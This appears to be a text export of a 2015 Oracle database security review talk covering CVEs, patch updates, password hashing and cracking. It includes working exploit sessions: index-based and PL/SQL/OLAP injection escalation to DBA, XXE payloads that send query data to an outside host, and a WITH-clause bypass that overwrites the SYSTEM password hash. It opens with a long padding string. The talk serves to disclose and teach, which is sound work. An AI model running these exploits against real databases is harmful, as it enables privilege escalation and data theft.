AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
PUBLIC INDEX privileges on SYS.DUAL (CVE-2015-0393) *

Comment Oracle secalert:

"I looked through the bug and there is no indication of when or why the grants were originally added. Development is going with the assumption that it was not necessary and removing the added grants. However, it is hard to tell for certain. As you can imagine, this requires a lot of additional testing to ensure it does not break existing functionality. Thanks."
PUBLIC INDEX privileges on SYS.DUAL (CVE-2015-0393) *

SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO VARCHAR) RETURN VARCHAR
DETERMINISTIC AUTHID CURRENT_USER IS
  PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; COMMIT;
  RETURN 'FOO';
END;
/
Function created.

SQL> GRANT EXECUTE ON GETDBA TO PUBLIC;
Grant succeeded.

SQL> CREATE INDEX EXPLOIT_INDEX ON SYS.DUAL(TSS.GETDBA(BAR));
Index created.

SQL> select * from sys.dual;
B
-  
X

SQL> set role dba;
Role set.

* http://www.davidlitchfield.com/Privilege_Escalation_via_Oracle_Indexes.pdf
Privilege Escalation via Indexes

- Sometimes the following tables are also affected:
  
  SYS.OLAPTABLELEVELS
  SYS.OLAPTABLELEVELTUPLES
  SYSTEM.OLAP_SESSION_CUBES
  SYSTEM.OLAP_SESSION_DIMS
  SYSTEM.PLAN_TABLE
  FLOWS_FILES.WWV_FLOW_FILE_OBJECT$
  TOAD.TOAD_PLAN_TABLE

SQL> SELECT OWNER||'.'||TABLE_NAME||':''||GRANTEE FROM DBA_TAB_PRIVS WHERE PRIVILEGE = 'INDEX' AND GRANTEE!=OWNER ORDER BY 1;
XXE Injection in Oracle Database (CVE-2014-6577)*

<table>
<thead>
<tr>
<th>CVE#</th>
<th>Component</th>
<th>Protocol</th>
<th>Package and/or Privilege Required</th>
<th>Remote Exploit without Auth.?</th>
<th>CVSS VERSION 2.0 RISK (see Risk Matrix Definitions)</th>
<th>Supported Versions Affected</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2014-6567</td>
<td>Core RDBMS</td>
<td>Oracle Net</td>
<td>Create Session</td>
<td>No</td>
<td>9.0 Network Low Single Complete Complete Complete</td>
<td>11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.0.2</td>
<td>See Note 1</td>
</tr>
<tr>
<td>CVE-2014-6577</td>
<td>XML Developer's Kit for C</td>
<td>HTTP</td>
<td>Valid account</td>
<td>No</td>
<td>6.8 Network Low Single Complete None None</td>
<td>11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.0.2</td>
<td>See Note 2</td>
</tr>
</tbody>
</table>

Notes:

1. The CVSS Score is 9.0 only on Windows for Database versions prior to 12c. The CVSS Base Score is 6.5 (Confidentiality, Integrity and Availability are Partial+) for Database 12c on Windows and for all versions of Database on Linux, Unix and other platforms.
2. The CVSS score is 6.8 only on Windows for Database versions prior to 12c. The CVSS is 4.0 (Confidentiality is "Partial") for Database 12c on Windows and for all versions of Database on Linux, Unix and other platforms.
3. This brings the OJVM component of Database in line with Java SE security fixes delivered as of January CPU 2015.
4. This vulnerability is only applicable on a Windows operating system. The CVSS score is 6.3 for Database versions prior to 12c. The CVSS is 3.5 (Confidentiality is "Partial") for Database 12c.
XXE Injection in Oracle Database (CVE-2014-6577)*

- CVSS Score: 6.8
- Affected Version: 11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.0.2
- Required Privilege: Create Session
- Bypass Oracle utl_http/httpuritype ACLs
- Can be used by external hackers during SQL Injection in web apps

Exploit CVE-2014-6577

SQL> select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://10.37.129.2:8080/"||'(select user from dual)||'"> %remote; %param1;]>'),'/l') from dual;

ERROR at line 1:
ORA-31020: The operation is not allowed, Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1

10.37.129.4 - - [18/Nov/2015 00:14:18] "GET /DOAGTEST2 HTTP/1.0" 404 -
Exploit CVE-2014-6577

http://www.oraexploit.com/id=47' or 1=extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://192.168.83.1:8080/A='||substr((select sys.stragg(distinct username||'-' as string from all_users),1,220)||""> %remote; %param1;]'>'),'/l')

192.168.83.131 -- [18/Nov/2015 00:48:02] "GET /A=ANONYMOUS--APEX_040200--APEX_PUBLIC_USER--APPQOSSYS--AUDSYS-C HTTP/1.0" 404 -
nothing special happened
nothing special happened
April 2015

- Oracle CPU April 2015*
- SQL Injection in SQL Trace Analyzer (CVE-2015-0476)
- Exploit for old Oracle 11.2.0.4 bug published**

** [https://twitter.com/gokhanatil/status/595853921479991297](https://twitter.com/gokhanatil/status/595853921479991297)
April 2015 CPU*

- 4 security fixes (None remote exploitable)
- 1 Java VM (CVSS 9.0)
- 2 XDB - XML Database (CVSS 6.8, 4.0)
- 1 Core RDBMS (CVSS 4.0)

CVE-2014-4237 (?)

---

### Oracle Database Server Risk Matrix

<table>
<thead>
<tr>
<th>CVE#</th>
<th>Component</th>
<th>Protocol</th>
<th>Package and/or Privilege Required</th>
<th>Remote Exploit without Auth.?</th>
<th>CVSS VERSION 2.0 RISK (see Risk Matrix Definitions)</th>
<th>Supported Versions Affected</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Base Score</td>
<td>Access Vector</td>
<td>Access Complexity</td>
</tr>
<tr>
<td>CVE-2013-3751</td>
<td>XML Parser</td>
<td>HTTP</td>
<td>Create Session</td>
<td>No</td>
<td>9.0</td>
<td>Network</td>
<td>Low</td>
</tr>
<tr>
<td>CVE-2013-3774</td>
<td>Network Layer</td>
<td>Oracle Net</td>
<td>None</td>
<td>Yes</td>
<td>7.6</td>
<td>Network</td>
<td>High</td>
</tr>
<tr>
<td>CVE-2014-4236</td>
<td>RDBMS Core</td>
<td>Oracle Net</td>
<td>Create Session, Grant on DBMS_REDACT</td>
<td>No</td>
<td>6.5</td>
<td>Network</td>
<td>Low</td>
</tr>
<tr>
<td>CVE-2014-4237</td>
<td>RDBMS Core</td>
<td>Oracle Net</td>
<td>Create Session</td>
<td>No</td>
<td>4.0</td>
<td>Network</td>
<td>Low</td>
</tr>
<tr>
<td>CVE-2014-4243</td>
<td>RDBMS Core</td>
<td>Oracle Net</td>
<td>Create Session</td>
<td>No</td>
<td>5.5</td>
<td>Network</td>
<td>Medium</td>
</tr>
</tbody>
</table>

---

Dangerous ❓❓❓

* [http://www.oracle.com/technetwork/topics/security/cpuju12014-1972956.html](http://www.oracle.com/technetwork/topics/security/cpuju12014-1972956.html)
Exploit for Oracle 11.2.0.4/12.1.0.1

- CVE-2014-4237 (?) CVSS2 4.0
- Found by Sayan Malakshinov
- similar to old bugs from 2006/2007
  CVE-2007-3855 (bypass privileges via create view)

* [https://twitter.com/gokhanatil/status/595853921479991297](https://twitter.com/gokhanatil/status/595853921479991297)
Exploit I

SQL> create user user1 identified by user123;
SQL> grant create session, create table to user1;
SQL> grant select on scott.emp to user1;

sqlplus user1/user123
SQL> select ename, sal from scott.emp where ename='ALLEN';
ALLEN 3600
1 row selected

SQL> update scott.emp set sal=1000 where ename='ALLEN';
ero error at line 1:
ORA-01031: Insufficient privileges

SQL> update (with tmp as (select * from scott.emp) select * from tmp) set sal=1000 where ename='ALLEN';
1 row updated

SQL> delete (with tmp as (select * from scott.emp) select * from tmp) where ename='ALLEN';
1 row deleted
Exploit II

SQL> grant select any dictionary to user1;

sqlplus user1/user123
SQL> select password from sys.user$ where name='SYSTEM';

PASSWORD
-------------------
AD24A888FC3B1BE7

SQL> update sys.user$ set password='XXX' where name='SYSTEM';
update sys.user$ set password='XXX' where name='SYSTEM'
*
ERROR at line 1:
ORA-01031: insufficient privileges

SQL> update (with tmp as (select * from sys.user$) select * from tmp) set password='XXX' where name='SYSTEM';

1 row updated.

SQL> commit;

Commit complete.
Remember....

Apply security patches if possible...
May 2015

- Nothing special happened
June 2015

- Changes in Oracle Database 12c password hashes

* [https://www.trustwave.com/Resources/SpiderLabs-Blog/Changes-in-Oracle-Database-12c-password-hashes/?page=1&year=0&month=0](https://www.trustwave.com/Resources/SpiderLabs-Blog/Changes-in-Oracle-Database-12c-password-hashes/?page=1&year=0&month=0)
Oracle 12c Password Hashes*

- Trustwave released a blog entry about Oracle 12c password hashes.
- New password hashing algorithm based on PBKDF2 and SHA-512
- De-optimized to make the password cracking much slower (11c SHA1 hashes: 25,975,600,000 hashes/s, 12c 550,000 hashes/s)
- For backward compatibility Oracle is creating all 3 password hashes (10g, 11g, 12c)
- **Recommendation Oracle:** If possible (best security, only new Oracle clients) use the 12c password verifier exclusively

* [https://www.trustwave.com/Resources/SpiderLabs-Blog/Changes-in-Oracle-Database-12c-password-hashes/?page=1&year=0&month=0](https://www.trustwave.com/Resources/SpiderLabs-Blog/Changes-in-Oracle-Database-12c-password-hashes/?page=1&year=0&month=0)
Calculating Oracle 12c Hash

```python
import pbkdf2, hashlib

AUTH_VFR_DATA = b'\x8d\xd1\xbe\x3f\x67\xbf\xf9\x81\x3a\x46\x43\x82\x38\x1a\xb3\x6b' # This is received from the server once the latest protocol is negotiated

salt = AUTH_VFR_DATA + b'AUTH_PBKDF2_SPEEDY_KEY'

key = pbkdf2.PBKDF2("epsilon", salt, 4096, hashlib.sha512) # Password

key_64bytes = key.read(64) # This 64-byte derived key is encrypted by the client and sent to the server as AUTH_PBKDF2_SPEEDY_KEY

t = hashlib.sha512() # This happens on the server after they key is decrypted from the AUTH_PBKDF2_SPEEDY_KEY value

t.update(key_64bytes)

t.update(AUTH_VFR_DATA)

t.hexdigest().upper() # First 64 bytes of spare4.T: value if password is correct
```
July 2015

- Oracle CPU July 2015 *
- Exploiting PL/SQL Injection in Oracle with Only CREATE SESSION Privileges (6th Edition)**
- OLAP DML Injection - A new class of vulnerability in the Oracle RDBMS ***

** [http://www.davidlitchfield.com/ExploitingPLSQLInjectionCREATESESSION.pdf](http://www.davidlitchfield.com/ExploitingPLSQLInjectionCREATESESSION.pdf)
Oracle Database 12c account probing (CVE-2015-4755)*

- Oracle Database 12.1.0.2 sends different responses to clients depending on account existence. This allows attackers verify if specific account exists or not without knowing its password.
- For existing accounts AUTH_VFR_DATA will be followed by 32 characters. For non-existing accounts this value will be followed by 20 characters.

July 2015 CPU*

- 10 security fixes (2 remote exploitable)
- 1 Java VM (CVSS 9.0)
- 1 OLAP (CVSS 6.5)
- 1 Core RDBMS (CVSS 6.0)
- 1 Partitioning (CVSS 6.0)
- 3 APEX (CVSS 5.5, 4.3, 2.1, 1 remote)
- 1 RDBMS Security (CVSS 5.0, remote)
- RDBMS Scheduler (CVSS 4.0)
- 1 RDBMS Support Tools (CVSS 2.1)

Exploiting PL/SQL Injection in Oracle with Only CREATE SESSION Privileges (6th Edition)

- DBMS_AW.INTERP and DBMS_AW.INTERPCLOB can be used as an auxiliary inject function to execute arbitrary SQL when exploiting SQL and PL/SQL vulnerabilities in Oracle.

- The DBMS_AW package is used to manage Analytic Workspaces (AW) in OLAP and acts as an interface for executing OLAP DML commands and creating and modifying OLAP AW objects such as programs.

- One of DBMS_AW’s functions is INTERP. INTERP takes one or more OLAP DML commands separated by semicolons and executes them.
SQL> SELECT DBMS_AW.INTERP('SQL PROCEDURE DBMS_OUTPUT.PUT_LINE(USER)') FROM DUAL;

DAVID
SQL> select dbms_aw.interp('aw attach express; define x1 program'||chr(10)||'program'||chr(10)||'SQL PREPARE S1 FROM DECLARE PRAGMA AUTONOMOUS_TRANSACTION~ BEGIN EXECUTE IMMEDIATE ''SELECT 1 FROM DUAL''~ END~ '||chr(10)||'SQL EXECUTE S1'||chr(10)||'end; call x1; delete x1;') from dual;
CREATE OR REPLACE PROCEDURE VULNPROC(P_NAME VARCHAR) IS
BEGIN
EXECUTE IMMEDIATE 'SELECT OBJECT_ID FROM ALL_OBJECTS WHERE OBJECT_NAME = ''' || P_NAME || '''';
END;
/

SQL> EXEC SYS.VULNPROC('AAA'||
TO_CHAR(DBMS_AW.INTERP('''aw attach express;
define x1 program''||chr(10)||''program''||
chr(10)||''SQL PREPARE S1 FROM DECLARE PRAGMA
AUTONOMOUS_TRANSACTION~ BEGIN EXECUTE IMMEDIATE
''''GRANT DBA TO PUBLIC''''~ END~ ''||
chr(10)||''SQL EXECUTE S1''||chr(10)||''end;
call x1; delete x1;''))||'AAA');
PL/SQL procedure successfully completed.

SQL> SET ROLE DBA;
Role set.
OLAP DML Injection - A new class of vulnerability in the Oracle RDBMS

Oracle OLAP applications may be at risk of a new subclass injection flaw if they use DBMS_AW, OLAP_TABLE or any of the other OLAP* functions. The problem arises due to differences between the syntax of SQL and OLAP DML. The upshot is that attackers may be able to abuse this to execute arbitrary SQL with higher privileges.
create or replace PROCEDURE
DROP_AW_ELIST_ALL(myschema VARCHAR2, awname VARCHAR2)
AS
cln_schema VARCHAR2(150);

cln_aw VARCHAR2(150);
aw_stmt VARCHAR2(350);
Begin
cln_schema := DBMS_ASSERT.SCHEMA_NAME(myschema);
cln_aw := DBMS_ASSERT.SIMPLE_SQL_NAME(awname);
aw_stmt := 'aw attach ||cln_schema||'.'||
cln_aw||' rwx NOONATTACH noautogo';
dbms_aw.execute(aw_stmt); ...
OLAP DML Injection - A new class of vulnerability in the Oracle RDBMS

SQL> exec DROP_AW_ELIST_ALL('SYS','"A; sql procedure dbms_output.put_line(user)"");
SYS
BEGIN DROP_AW_ELIST_ALL('SYS','"A; sql procedure dbms_output.put_line(user)""); END;
OLAP DML Injection - A new class of vulnerability in the Oracle RDBMS

SQL> exec dbms_aw.aw_attach('" '||chr(10)||' express; sql procedure
dbms_output.put_line(user);"');
SYS
PL/SQL procedure successfully completed.
SQL>
OLAP DML Injection - A new class of vulnerability in the Oracle RDBMS

SQL> connect / as sysdba
Connected.

SQL> exec dbms_aw.execute('aw attach express');
PL/SQL procedure successfully completed.

SQL> exec dbms_aw.execute('set xlname=''measure
col from aw_expr 1''');
PL/SQL procedure successfully completed.

SQL> create or replace view olapview as select *
from table(olap_table('express duration
session',''',''',''& (express!xlname)''))
;
View created.

SQL> grant select on sys.olapview to public;
Grant succeeded.
OLAP DML Injection - A new class of vulnerability in the Oracle RDBMS

SQL> connect david/password
Connected.

SQL> set serveroutput on

SQL> exec dbms_aw.execute('aw attach express');
PL/SQL procedure successfully completed.

SQL> exec dbms_aw.execute('set xlname=''measure
col from aw_expr 1 predmlcmd ''''sql procedure
dbms_output.put_line(sys_context('''userenv''
''',''current_user'')))'' '');?></p></p>
PL/SQL procedure successfully completed.

SQL> select * from sys.olapview;
COL 1
DAVID

SQL>
Mary Ann Davidson „No, You Really Can’t“-Blog Entry *

I have been doing a lot of writing recently. Some of my writing has been with my sister, with whom I write murder mysteries using the nom-de-plume Maddi Davidson. Recently, we’ve been working on short stories, developing a lot of fun new ideas for dispatching people (literally speaking, though I think about practical applications occasionally when someone tailgates me).

Writing mysteries is a lot more fun than the other type of writing I’ve been doing. Recently, I have seen a large-ish uptick in customers reverse engineering our code to attempt to find security vulnerabilities in it. <Insert big sigh here.> This is why I’ve been writing a lot of letters to customers that start with “hi, howzit, aloha” but end with “please comply with your license agreement and stop reverse engineering our code, already.”

* https://web.archive.org/web/20150811052336/https://blogs.oracle.com/maryanndavidson/entry/no_you_really_can_t
August 2015

- In August 2015, Chief Security Officer at Oracle Corporation released a strange blog post.
- The feedback from the Oracle customers and feedback was a disaster.*

Rob Graham: „Yet again Oracle proves you’d have to be an idiot to trust their products“

- One day later the blog post disappeared and an official statement was released*.

Edward Screven: „We removed the post as it does not reflect our beliefs or our relationship with our customers."

September 2015

- Nothing special happened
October 2015

Oracle CPU October 2015 *

October 2015 CPU*

- 8 security fixes (1 remote exploitable)
- 1 Clusterware (CVSS 10.0, remote)
- 3 JavaVM (CVSS 9.0, 9.0, 6.5)
- 1 Database Scheduler (CVSS 7.2)
- 1 XDB - XML Database (CVSS 6.5)
- 1 Core RDBMS (5.5)

November 2015

- DOAG 2015
- Advances in Password Cracking
- Paper „Oracle 12c Password Hash Design Flaw“
Advances in Password Cracking

- During the last years there were huge steps in password cracking
- Graphic cards became incredible fast
- Tools became fast
- And the software vendors?
Brutalis

Brutalis is an eight-GPU monster, clawing its way through hashes at unprecedented speeds. Providing up to eight Nvidia GTX GPUs, two Intel Xeon E5-2600V3 CPUs, and up to 768 GB of registered ECC memory, the Brutalis is the fastest, meanest, most hardcore system money can buy.

Base configuration price: 18,499 USD

https://sagitta.pw/hardware/gpu-compute-nodes/brutalis/
Hashcat

- Hashcat* is the fastest password cracker available
- Support for the CUDA API from Nvidia via CudaHashcat
- 150+ Algorithms implemented
- All Oracle password hashes are supported
  - Oracle DES Type (Oracle 7+)
  - Oracle S: Type (Oracle 11+)
  - Oracle T: Type (Oracle 12+)
  - MySQL

http://hashcat.net/oclhashcat/
# CudaHashcat Benchmark

GeForce GTX TITAN X, 12287MB, 1215Mhz, 24MCU

<table>
<thead>
<tr>
